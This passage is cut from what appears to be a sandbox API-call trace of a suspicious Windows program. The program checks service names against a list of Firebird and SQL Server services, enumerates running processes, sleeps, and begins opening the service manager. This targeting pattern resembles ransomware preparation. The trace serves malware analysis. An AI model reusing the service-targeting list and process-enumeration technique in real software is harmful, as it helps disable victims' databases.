lpString2="NcbService") returned 1 [0234.597] lstrlenW (lpString="netprofm") returned 8 [0234.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0234.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0234.597] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0234.597] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0234.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0234.597] lstrlenW (lpString="NgcSvc") returned 6 [0234.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0234.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0234.597] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0234.597] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0234.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0234.597] lstrlenW (lpString="NlaSvc") returned 6 [0234.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0234.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0234.597] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0234.598] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0234.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0234.598] lstrlenW (lpString="nsi") returned 3 [0234.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0234.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0234.598] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0234.598] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0234.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0234.598] lstrlenW (lpString="PcaSvc") returned 6 [0234.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0234.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0234.598] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0234.598] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0234.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0234.598] lstrlenW (lpString="PlugPlay") returned 8 [0234.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0234.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0234.598] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0234.598] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0234.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0234.598] lstrlenW (lpString="Power") returned 5 [0234.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0234.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0234.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0234.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0234.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0234.598] lstrlenW (lpString="ProfSvc") returned 7 [0234.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0234.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0234.598] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0234.598] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0234.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0234.598] lstrlenW (lpString="RpcEptMapper") returned 12 [0234.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.598] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0234.598] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0234.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0234.598] lstrlenW (lpString="RpcSs") returned 5 [0234.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0234.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0234.598] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0234.599] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0234.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0234.599] lstrlenW (lpString="SamSs") returned 5 [0234.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0234.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0234.599] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0234.599] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0234.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0234.599] lstrlenW (lpString="Schedule") returned 8 [0234.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0234.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0234.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0234.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0234.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0234.599] lstrlenW (lpString="SecurityHealthService") returned 21 [0234.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0234.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0234.599] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0234.599] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0234.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0234.599] lstrlenW (lpString="SENS") returned 4 [0234.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0234.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0234.599] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0234.599] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0234.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0234.599] lstrlenW (lpString="ShellHWDetection") returned 16 [0234.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0234.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0234.599] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0234.599] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0234.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0234.599] lstrlenW (lpString="Spooler") returned 7 [0234.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0234.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0234.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0234.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0234.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0234.599] lstrlenW (lpString="StateRepository") returned 15 [0234.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0234.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0234.599] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0234.600] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0234.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0234.600] lstrlenW (lpString="SysMain") returned 7 [0234.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0234.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0234.600] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0234.600] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0234.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0234.600] lstrlenW (lpString="SystemEventsBroker") returned 18 [0234.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0234.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0234.600] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0234.600] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0234.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0234.600] lstrlenW (lpString="Themes") returned 6 [0234.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0234.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0234.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0234.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0234.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0234.600] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0234.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0234.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0234.600] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0234.600] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0234.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0234.600] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0234.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0234.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0234.600] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0234.600] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0234.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0234.600] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c0 [0234.989] Process32FirstW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.989] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.990] lstrlenW (lpString="System") returned 6 [0234.990] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.990] lstrlenW (lpString="smss.exe") returned 8 [0234.990] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.991] lstrlenW (lpString="csrss.exe") returned 9 [0234.991] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0234.992] lstrlenW (lpString="wininit.exe") returned 11 [0234.992] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.992] lstrlenW (lpString="csrss.exe") returned 9 [0234.992] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0234.993] lstrlenW (lpString="winlogon.exe") returned 12 [0234.993] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0234.993] lstrlenW (lpString="services.exe") returned 12 [0234.993] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0234.993] lstrlenW (lpString="lsass.exe") returned 9 [0234.993] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0234.994] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0234.994] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0234.994] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0234.994] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.994] lstrlenW (lpString="svchost.exe") returned 11 [0234.994] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.995] lstrlenW (lpString="svchost.exe") returned 11 [0234.995] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0234.995] lstrlenW (lpString="dwm.exe") returned 7 [0234.995] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.996] lstrlenW (lpString="svchost.exe") returned 11 [0234.996] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.996] lstrlenW (lpString="svchost.exe") returned 11 [0234.996] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.996] lstrlenW (lpString="svchost.exe") returned 11 [0234.996] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.997] lstrlenW (lpString="svchost.exe") returned 11 [0234.997] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.997] lstrlenW (lpString="svchost.exe") returned 11 [0234.997] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.997] lstrlenW (lpString="svchost.exe") returned 11 [0234.997] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.998] lstrlenW (lpString="svchost.exe") returned 11 [0234.998] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.998] lstrlenW (lpString="svchost.exe") returned 11 [0234.998] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.998] lstrlenW (lpString="svchost.exe") returned 11 [0234.998] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.999] lstrlenW (lpString="svchost.exe") returned 11 [0234.999] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0234.999] lstrlenW (lpString="spoolsv.exe") returned 11 [0234.999] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.999] lstrlenW (lpString="svchost.exe") returned 11 [0234.999] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.000] lstrlenW (lpString="audiodg.exe") returned 11 [0235.000] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.000] lstrlenW (lpString="svchost.exe") returned 11 [0235.000] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0235.001] lstrlenW (lpString="sihost.exe") returned 10 [0235.001] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0235.001] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0235.001] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0235.002] lstrlenW (lpString="Memory Compression") returned 18 [0235.002] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0235.002] lstrlenW (lpString="taskhostw.exe") returned 13 [0235.002] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0235.003] lstrlenW (lpString="userinit.exe") returned 12 [0235.003] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.003] lstrlenW (lpString="explorer.exe") returned 12 [0235.003] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0235.004] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0235.004] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0235.004] lstrlenW (lpString="SearchUI.exe") returned 12 [0235.004] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0235.005] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0235.005] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0235.005] lstrlenW (lpString="winhost.exe") returned 11 [0235.005] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0235.005] lstrlenW (lpString="cmd.exe") returned 7 [0235.005] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0235.006] lstrlenW (lpString="conhost.exe") returned 11 [0235.006] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0235.006] lstrlenW (lpString="mode.com") returned 8 [0235.006] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0235.006] lstrlenW (lpString="consent.exe") returned 11 [0235.006] Process32NextW (in: hSnapshot=0x4c0, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0235.007] CloseHandle (hObject=0x4c0) returned 1 [0235.007] Sleep (dwMilliseconds=0x1f4) [0235.703] OpenSCManagerW 